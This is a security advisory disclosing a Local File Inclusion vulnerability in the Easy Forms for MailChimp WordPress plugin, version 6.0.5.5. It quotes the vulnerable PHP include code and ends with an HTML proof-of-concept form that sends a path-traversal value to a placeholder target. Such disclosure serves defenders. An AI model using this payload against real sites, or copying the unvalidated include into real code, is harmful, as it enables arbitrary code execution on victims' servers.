Abstract
It was discovered that the Easy Forms for MailChimp WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.
OVE ID
OVE-20160712-0023
Tested versions
This issue was successfully tested on Easy Forms for MailChimp WordPress Plugin version 6.0.5.5.
Fix
This issue is resolved in Easy Forms for MailChimp 6.1.
Introduction
The Easy Forms for MailChimp WordPress Plugin allows adding unlimited MailChimp sign up forms to a WordPress site. It is possible to add forms to posts, pages, sidebars and other widgetized areas. A Local File Inclusion vulnerability exists in the Easy Forms for MailChimp WordPress plugin. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.
Details
The issue exists in the file /admin/partials/menu/options.php
and is caused by the lack of input validation on the section
request parameter. The vulnerable code is listed below.
<?php if( !isset( $_REQUEST['section'] ) || $_REQUEST['section'] == '' ) {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/general-settings.php';
} else {
if( isset( $_REQUEST['addon'] ) && $_REQUEST['addon'] == 'true' ) {
include apply_filters( 'yikes-mailchimp-'.**$_REQUEST['section']**.'-options-path' , '' );
} else {
include YIKES_MC_PATH . 'admin/partials/menu/options-sections/' . **$_REQUEST['section']** . '.php';
}
}
?>
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings" method="POST">
<input type="hidden" name="section" value="../../edit-form" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>